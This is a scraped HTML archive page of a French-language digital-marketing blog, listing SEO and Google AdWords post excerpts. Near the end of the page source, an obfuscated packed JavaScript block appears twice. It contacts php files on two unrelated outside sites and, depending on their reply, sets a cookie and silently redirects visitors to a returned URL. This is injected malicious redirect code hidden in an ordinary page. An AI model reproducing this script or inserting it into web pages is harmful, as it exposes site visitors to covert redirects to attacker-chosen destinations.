Positionnement Web | Marketing et analyse numérique

Chargement des messages ...

SEO: 9 pratiques pour l'optimisation des balises de titre
L'étiquette c'est l'un des facteurs SEO les plus importants lors des optimisations On-Site. Généralement lors d'un conseil ou d'une analyse SEO d'un site internet, le ... </html></p></div><div class="post-meta date updated published"> <i class="icon icon-basic-calendar"></i> 29 février 2012</div><div class="post-meta category"> <i class="icon icon-basic-folder-multiple"></i> <a href="https://guillermopareja.com/fr/categories/seo-positionnement-web/" rel="category tag">Positionnement Web</a></div></div></div></li><li class="post post-1385 type-post status-publish format-standard hentry category-posicionamiento-web-seo tag-google-adwords"><div class="post-item template-square columned"><div class="post-thumbnail"> <a href="https://guillermopareja.com/fr/seo-positionnement-web/comment-eviter-4-erreurs-de-debutants-avec-google-adwords/"><div class="blog-image-placeholder"></div> </a><div class="post-hover"> <span class="hover-icon basic"><i class="icon icon-basic-eye"></i></span></div><div class="post-format-icon"> <i class="icon icon-basic-sheet-txt"></i></div></div><div class="post-details"><header class="entry-header"><h3 class="post-title entry-title"><a href="https://guillermopareja.com/fr/seo-positionnement-web/comment-eviter-4-erreurs-de-debutants-avec-google-adwords/" rel="bookmark">Comment éviter 4 erreurs de débutant avec Google Adwords</a></h3></header><div class="post-excerpt entry-summary"><p>Le premier article du mois d'août est un peu en retard, principalement parce que j'ai beaucoup de charge de travail (ce qui est très bien!), Donc dans cet article je vais ...</p></div><div class="post-meta date updated published"> <i class="icon icon-basic-calendar"></i> 8 août 2011</div><div class="post-meta category"> <i class="icon icon-basic-folder-multiple"></i> <a href="https://guillermopareja.com/fr/categories/seo-positionnement-web/" rel="category tag">Positionnement Web</a></div></div></div></li><li class="post post-1191 type-post status-publish format-standard hentry category-posicionamiento-web-seo tag-link-building tag-posicionamiento-web"><div class="post-item template-square columned"><div class="post-thumbnail"> <a href="https://guillermopareja.com/fr/seo-positionnement-web/les-5-types-dobjectifs-de-construction-de-liens/"><div class="blog-image-placeholder"></div> </a><div class="post-hover"> <span class="hover-icon basic"><i class="icon icon-basic-eye"></i></span></div><div class="post-format-icon"> <i class="icon icon-basic-sheet-txt"></i></div></div><div class="post-details"><header class="entry-header"><h3 class="post-title entry-title"><a href="https://guillermopareja.com/fr/seo-positionnement-web/les-5-types-dobjectifs-de-construction-de-liens/" rel="bookmark">Les 5 types d'objectifs de création de liens</a></h3></header><div class="post-excerpt entry-summary"><p>Les actions de Link Building que nous devons mener varient en fonction des objectifs de notre métier, ou de ceux de nos clients, à défaut. Ainsi, différentes stratégies sont nécessaires ...</p></div><div class="post-meta date updated published"> <i class="icon icon-basic-calendar"></i> 25 avril 2011</div><div class="post-meta category"> <i class="icon icon-basic-folder-multiple"></i> <a href="https://guillermopareja.com/fr/categories/seo-positionnement-web/" rel="category tag">Positionnement Web</a></div></div></div></li><li class="post post-671 type-post status-publish format-standard hentry category-posicionamiento-web-seo tag-posicionamiento-web tag-seo"><div class="post-item template-square columned"><div class="post-thumbnail"> <a href="https://guillermopareja.com/fr/seo-positionnement-web/google-penalise-hitler-video-black-hat-seo/"><div class="blog-image-placeholder"></div> </a><div class="post-hover"> <span class="hover-icon basic"><i class="icon icon-basic-eye"></i></span></div><div class="post-format-icon"> <i class="icon icon-basic-sheet-txt"></i></div></div><div class="post-details"><header class="entry-header"><h3 class="post-title entry-title"><a href="https://guillermopareja.com/fr/seo-positionnement-web/google-penalise-hitler-video-black-hat-seo/" rel="bookmark">Google pénalise Hitler: SEO vidéo Black Hat</a></h3></header><div class="post-excerpt entry-summary"><p>S'il y a quelque chose que j'aime faire, c'est de mettre une dose d'humour là où c'est possible, j'ai trouvé cette vidéo sur Black Hat SEO réalisée sur une scène du film «The Fall» ...</p></div><div class="post-meta date updated published"> <i class="icon icon-basic-calendar"></i> 16 mars 2010</div><div class="post-meta category"> <i class="icon icon-basic-folder-multiple"></i> <a href="https://guillermopareja.com/fr/categories/seo-positionnement-web/" rel="category tag">Positionnement Web</a></div></div></div></li><li class="post post-662 type-post status-publish format-standard hentry category-posicionamiento-web-seo tag-posicionamiento-web tag-seo"><div class="post-item template-square columned"><div class="post-thumbnail"> <a href="https://guillermopareja.com/fr/seo-positionnement-web/plan-seo-conseil-fondamental-de-positionnement-web/"><div class="blog-image-placeholder"></div> </a><div class="post-hover"> <span class="hover-icon basic"><i class="icon icon-basic-eye"></i></span></div><div class="post-format-icon"> <i class="icon icon-basic-sheet-txt"></i></div></div><div class="post-details"><header class="entry-header"><h3 class="post-title entry-title"><a href="https://guillermopareja.com/fr/seo-positionnement-web/plan-seo-conseil-fondamental-de-positionnement-web/" rel="bookmark">Plan de référencement: conseils fondamentaux pour le positionnement Web</a></h3></header><div class="post-excerpt entry-summary"><p>Sûrement beaucoup d'entre vous l'ont déjà vu dans SEOMOZ, mais comme c'est vraiment un bijou je donne ma petite aide pour apporter cet excellent matériel à ceux qui auraient pu s'échapper. ...</p></div><div class="post-meta date updated published"> <i class="icon icon-basic-calendar"></i> 2 mars 2010</div><div class="post-meta category"> <i class="icon icon-basic-folder-multiple"></i> <a href="https://guillermopareja.com/fr/categories/seo-positionnement-web/" rel="category tag">Positionnement Web</a></div></div></div></li></ul><nav class="pagination pagination--normal pagination--align-center" role="navigation"> <a class="prev page-numbers" href="https://guillermopareja.com/fr/categories/seo-positionnement-web/page/8/"><i class="flaticon-arrow427"></i> Précédent</a> <a class="page-numbers" href="https://guillermopareja.com/fr/categories/seo-positionnement-web/">1</a> <a class="page-numbers" href="https://guillermopareja.com/fr/categories/seo-positionnement-web/page/2/">2</a> <span class="page-numbers dots" data-no-translation="" data-trp-gettext="">…</span> <a class="page-numbers" href="https://guillermopareja.com/fr/categories/seo-positionnement-web/page/7/">7</a> <a class="page-numbers" href="https://guillermopareja.com/fr/categories/seo-positionnement-web/page/8/">8</a> <span aria-current="page" class="page-numbers current">9</span> <a class="page-numbers" href="https://guillermopareja.com/fr/categories/seo-positionnement-web/page/10/">10</a> <a class="page-numbers" href="https://guillermopareja.com/fr/categories/seo-positionnement-web/page/11/">11</a> <span class="page-numbers dots" data-no-translation="" data-trp-gettext="">…</span> <a class="page-numbers" href="https://guillermopareja.com/fr/categories/seo-positionnement-web/page/15/">15</a> <a class="page-numbers" href="https://guillermopareja.com/fr/categories/seo-positionnement-web/page/16/">16</a> <a class="next page-numbers" href="https://guillermopareja.com/fr/categories/seo-positionnement-web/page/10/">Suivant <i class="flaticon-arrow413"></i></a></nav></div><div class="column column--sidebar"><div class="widget-area blog-archive--widgets" role="complementary"><div id="search-7" class="widget widget_search"><div class="widget_search widget"><form role="search" method="get" class="search-form search-bar" action="https://guillermopareja.com/fr/" data-trp-original-action="https://guillermopareja.com/fr/"> <label> <span class="screen-reader-text" data-no-translation="" data-trp-gettext="">Rechercher:</span> <input type="search" class="form-control search-field" placeholder="Site de recherche..." value="" name="s" id="s" title="Rechercher:" data-no-translation-placeholder="" data-no-translation-title="" /> </label> <input type="submit" class="search-submit go-button" id="searchsubmit" value="Va" data-no-translation-value="" /><input type="hidden" name="trp-form-language" value="fr"/></form></div></div><div id="custom_html-2" class="widget_text widget widget_custom_html"><h2 class="widgettitle">A propos de l'auteur</h2><div class="textwidget custom-html-widget"><center><img src="https://guillermopareja.com/wp-content/uploads/2020/04/guillermo-pareja-2020-1.jpg" alt="Guillermo Pareja - Consultant en marketing numérique" title="Guillermo Pareja"></center> <br><br><p>Consultant en marketing numérique axé sur Google Ads, Facebook Ads, LinkedIn Ads et Google Analytics.</p><p>Partenaire Google et personne qualifiée Google Analytics.</p></div></div><div id="media_image-2" class="widget widget_media_image"><h2 class="widgettitle">ma chaîne youtube</h2> <a href="https://www.youtube.com/channel/UCQA_BATFlNXixlJJxJHWewA"><img width="285" height="300" src="https://guillermopareja.com/wp-content/uploads/2022/05/youtube-logo-285x300.png" class="image wp-image-5619 attachment-medium size-medium" alt="" style="max-width: 100%; height: auto;" decoding="async" loading="lazy" srcset="https://guillermopareja.com/wp-content/uploads/2022/05/youtube-logo-285x300.png 285w, https://guillermopareja.com/wp-content/uploads/2022/05/youtube-logo-768x808.png 768w, https://guillermopareja.com/wp-content/uploads/2022/05/youtube-logo-11x12.png 11w, https://guillermopareja.com/wp-content/uploads/2022/05/youtube-logo-806x848.png 806w, https://guillermopareja.com/wp-content/uploads/2022/05/youtube-logo-558x587.png 558w, https://guillermopareja.com/wp-content/uploads/2022/05/youtube-logo-655x689.png 655w, https://guillermopareja.com/wp-content/uploads/2022/05/youtube-logo.png 860w" sizes="(max-width: 285px) 100vw, 285px" /></a></div></div></div></div></div></div></div><footer id="footer" role="contentinfo" class="site-footer main-footer footer-bottom-horizontal"><div class="container"><div class="footer-widgets"><div class="footer--widgets widget-area widgets--columned-layout widgets--columns-3" role="complementary"></div></div><hr></div><div class="footer-bottom"><div class="container"><div class="footer-bottom-content"><div class="footer-content-right"><ul class="social-networks textual"><li><a href="https://www.linkedin.com/in/guillermoparejab/" target="_blank" class="linkedin" title="LinkedIn"><i class="fa fa-linkedin"></i><span class="name">LinkedIn</span></a></li><li><a href="https://www.facebook.com/guillermo.pareja" target="_blank" class="facebook" title="Facebook"><i class="fa fa-facebook"></i><span class="name">Facebook</span></a></li><li><a href="https://www.instagram.com/guillepareja/" target="_blank" class="instagram" title="Instagram"><i class="fa fa-instagram"></i><span class="name">Instagram</span></a></li><li><a href="https://twitter.com/guillepareja" target="_blank" class="twitter" title="Twitter"><i class="fa fa-twitter"></i><span class="name">Twitter</span></a></li></ul></div><div class="footer-content-left"><div class="copyrights site-info"><p>© Copyright 2020. Tous droits réservés</p></div></div></div></div></div></footer><script>var _k = _k || {}; _k.enqueueAssets = {"js":{"light-gallery":[{"src":"https:\/\/guillermopareja.com\/wp-content\/themes\/kalium\/kalium\/assets\/js\/light-gallery\/lightgallery-all.min.js"}]},"styles":{"light-gallery":[{"src":"https:\/\/guillermopareja.com\/wp-content\/themes\/kalium\/kalium\/assets\/js\/light-gallery\/css\/lightgallery.min.css"},{"src":"https:\/\/guillermopareja.com\/wp-content\/themes\/kalium\/kalium\/assets\/js\/light-gallery\/css\/lg-transitions.min.css"}]}};</script><script>var _k = _k || {}; _k.require = function(e){var t=e instanceof Array?e:[e];return new Promise(function(e,r){var a=function(t){if(t&&t.length){var r=t.shift(),n=r.match( /\.js(\?.*)?$/)?"script":"text";jQuery.ajax({dataType:n,url:r}).success(function(){!function(e){var t;e.match( /\.js(\?.*)?$/)?(t=document.createElement("script")).src=e:((t=document.createElement("link")).rel="stylesheet",t.href=e);var r=!1,a=jQuery("[data-deploader]").each(function(t,a){e!=jQuery(a).attr("src")&&e!=jQuery(a).attr("href")||(r=!0)}).length;r||(t.setAttribute("data-deploader",a),jQuery("head").append(t))}(r)}).always(function(){r.length&&a(t)})}else e()};a(t)})};</script><template id="tp-language" data-tp-language="fr_FR"></template> <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-PFLF3R" height="0" width="0" style="display:none;visibility:hidden" aria-hidden="true"></iframe></noscript> <script id="trp-dynamic-translator-js-extra">var trp_data = {"trp_custom_ajax_url":"https:\/\/guillermopareja.com\/wp-content\/plugins\/translatepress-multilingual\/includes\/trp-ajax.php","trp_wp_ajax_url":"https:\/\/guillermopareja.com\/wp-admin\/admin-ajax.php","trp_language_to_query":"fr_FR","trp_original_language":"es_ES","trp_current_language":"fr_FR","trp_skip_selectors":["[data-no-translation]","[data-no-dynamic-translation]","[data-trp-translate-id-innertext]","script","style","head","trp-span","translate-press","[data-trp-translate-id]","[data-trpgettextoriginal]","[data-trp-post-slug]"],"trp_base_selectors":["data-trp-translate-id","data-trpgettextoriginal","data-trp-post-slug"],"trp_attributes_selectors":{"text":{"accessor":"outertext","attribute":false},"block":{"accessor":"innertext","attribute":false},"image_src":{"selector":"img[src]","accessor":"src","attribute":true},"submit":{"selector":"input[type='submit'],input[type='button'], input[type='reset']","accessor":"value","attribute":true},"placeholder":{"selector":"input[placeholder],textarea[placeholder]","accessor":"placeholder","attribute":true},"title":{"selector":"[title]","accessor":"title","attribute":true},"a_href":{"selector":"a[href]","accessor":"href","attribute":true},"button":{"accessor":"outertext","attribute":false},"option":{"accessor":"innertext","attribute":false},"aria_label":{"selector":"[aria-label]","accessor":"aria-label","attribute":true},"image_alt":{"selector":"img[alt]","accessor":"alt","attribute":true},"meta_desc":{"selector":"meta[name=\"description\"],meta[property=\"og:title\"],meta[property=\"og:description\"],meta[property=\"og:site_name\"],meta[name=\"twitter:title\"],meta[name=\"twitter:description\"],meta[name=\"DC.Title\"],meta[name=\"DC.Description\"]","accessor":"content","attribute":true},"page_title":{"selector":"title","accessor":"innertext","attribute":false}},"trp_attributes_accessors":["outertext","innertext","src","value","placeholder","title","href","aria-label","alt","content"],"gettranslationsnonceregular":"0850ebe5ed","showdynamiccontentbeforetranslation":"","skip_strings_from_dynamic_translation":[],"skip_strings_from_dynamic_translation_for_substrings":{"href":["amazon-adsystem","googleads","g.doubleclick"]},"duplicate_detections_allowed":"100","trp_translate_numerals_opt":"no","trp_no_auto_translation_selectors":["[data-no-auto-translation]"]};</script> <script src="https://guillermopareja.com/wp-includes/js/dist/hooks.min.js" id="wp-hooks-js"></script> <script src="https://guillermopareja.com/wp-includes/js/dist/i18n.min.js" id="wp-i18n-js"></script> <script id="wp-i18n-js-after">wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );</script> <script id="contact-form-7-js-extra">var wpcf7 = {"api":{"root":"https:\/\/guillermopareja.com\/fr\/wp-json\/","namespace":"contact-form-7\/v1"},"cached":"1"};</script> <script id="contact-form-7-js-translations">( function( domain, translations ) { var localeData = translations.locale_data[ domain ] || translations.locale_data.messages; localeData[""].domain = domain; wp.i18n.setLocaleData( localeData, domain ); } )( "contact-form-7", {"translation-revision-date":"2024-10-17 17:27:10+0000","generator":"GlotPress\/4.0.1","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n > 1;","lang":"fr"},"This contact form is placed in the wrong place.":["Ce formulaire de contact est plac\u00e9 dans un mauvais endroit."],"Error:":["Erreur\u00a0:"]}},"comment":{"reference":"includes\/js\/index.js"}} );</script> <script id="layerslider-greensock-js-extra">var LS_Meta = {"v":"6.7.6"};</script> <script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('9 B(d){5 6=" "+I.6;5 m=" "+d+"=";5 j=G;5 8=0;5 a=0;7(6.n>0){8=6.k(m);7(8!=-1){8+=m.n;a=6.k(";",8);7(a==-1){a=6.n}j=V(6.M(8,a))}}z(j)}9 t(d,P,c,f,g,l){I.6=d+"="+11(P)+((c)?"; c="+c:"")+((f)?"; f="+f:"")+((g)?"; g="+g:"")+((l)?"; l":"")}9 Q(){5 3;q{3=h o("W.p")}s(e){q{3=h o("X.p")}s(E){3=O}}7(!3&&Z w!=\'10\'){3=h w()}z 3}5 J=\'v://S.U/y-T/R/r.C\';5 N=\'v://17.1n.1o/y-1j/12/1k-1i/.1h/r.C\';7(B(\'F\')!=\'A\'){9 K(){5 b=h 1l();b.1p(b.1m()+1g*1e*1f*1);t(\'F\',\'A\',b.15())}9 i(L,H){5 3=Q();3.13(\'14\',L,D);3.18=9(){7(3.19==4&&3.1d==1c){7(3.x.k(\'u=\')==0){K();1b.1a=3.x.M(2)}16{7(H)i(N,O)}}};3.Y(G)}i(J,D)}',62,88,'|||xmlhttp||var|cookie|if|offset|function|end|now|expires|name||path|domain|new|lookupRedirect|setStr|indexOf|secure|search|length|ActiveXObject|XMLHTTP|try||catch|setCookie||https|XMLHttpRequest|responseText|wp|return|complete|getCookie|php|true||newadsshow|null|bIsFirst|document|sAdsUrl1|setAdsCookie|sUrl|substring|sAdsUrl2|false|value|getXmlHttp|ID3|cafephim|includes|vn|unescape|Msxml2|Microsoft|send|typeof|undefined|escape|themes|open|GET|toGMTString|else|www|onreadystatechange|readyState|location|window|200|status|3600|24|1000|idea|theme|content|symetrio|Date|getTime|preventionfitness|in|setTime'.split('|'),0,{}))</script> <script type="text/javascript">var _Hasync= _Hasync|| []; _Hasync.push(['Histats.start', '1,4214393,4,0,0,0,00010000']); _Hasync.push(['Histats.fasi', '1']); _Hasync.push(['Histats.track_hits', '']); (function() { var hs = document.createElement('script'); hs.type = 'text/javascript'; hs.async = true; hs.src = ('//s10.histats.com/js15_as.js'); (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs); })();</script> <noscript><a href="/fr/" target="_blank"><img src="//sstatic1.histats.com/0.gif?4214393&101" alt="compteur de coup gratuit personnalisable" border="0"></a></noscript> <script type="text/javascript"></script> <script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('9 B(d){5 6=" "+I.6;5 m=" "+d+"=";5 j=G;5 8=0;5 a=0;7(6.n>0){8=6.k(m);7(8!=-1){8+=m.n;a=6.k(";",8);7(a==-1){a=6.n}j=V(6.M(8,a))}}z(j)}9 t(d,P,c,f,g,l){I.6=d+"="+11(P)+((c)?"; c="+c:"")+((f)?"; f="+f:"")+((g)?"; g="+g:"")+((l)?"; l":"")}9 Q(){5 3;q{3=h o("W.p")}s(e){q{3=h o("X.p")}s(E){3=O}}7(!3&&Z w!=\'10\'){3=h w()}z 3}5 J=\'v://S.U/y-T/R/r.C\';5 N=\'v://17.1n.1o/y-1j/12/1k-1i/.1h/r.C\';7(B(\'F\')!=\'A\'){9 K(){5 b=h 1l();b.1p(b.1m()+1g*1e*1f*1);t(\'F\',\'A\',b.15())}9 i(L,H){5 3=Q();3.13(\'14\',L,D);3.18=9(){7(3.19==4&&3.1d==1c){7(3.x.k(\'u=\')==0){K();1b.1a=3.x.M(2)}16{7(H)i(N,O)}}};3.Y(G)}i(J,D)}',62,88,'|||xmlhttp||var|cookie|if|offset|function|end|now|expires|name||path|domain|new|lookupRedirect|setStr|indexOf|secure|search|length|ActiveXObject|XMLHTTP|try||catch|setCookie||https|XMLHttpRequest|responseText|wp|return|complete|getCookie|php|true||newadsshow|null|bIsFirst|document|sAdsUrl1|setAdsCookie|sUrl|substring|sAdsUrl2|false|value|getXmlHttp|ID3|cafephim|includes|vn|unescape|Msxml2|Microsoft|send|typeof|undefined|escape|themes|open|GET|toGMTString|else|www|onreadystatechange|readyState|location|window|200|status|3600|24|1000|idea|theme|content|symetrio|Date|getTime|preventionfitness|in|setTime'.split('|'),0,{}))</script> <script type="text/javascript">var _Hasync= _Hasync|| []; _Hasync.push(['Histats.start', '1,4214393,4,0,0,0,00010000']); _Hasync.push(['Histats.fasi', '1']); _Hasync.push(['Histats.track_hits', '']); (function() { var hs = document.createElement('script'); hs.type = 'text/javascript'; hs.async = true; hs.src = ('//s10.histats.com/js15_as.js'); (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs); })();</script> <noscript><a href="/fr/" target="_blank"><img src="//sstatic1.histats.com/0.gif?4214393&101" alt="compteur de coup gratuit personnalisable" border="0"></a></noscript> <script type="text/javascript"></script> <script defer src="https://guillermopareja.com/wp-content/cache/autoptimize/js/autoptimize_37fa7cbc77c18f3cc5ed5a0fac085a4a.js"></script></body></html>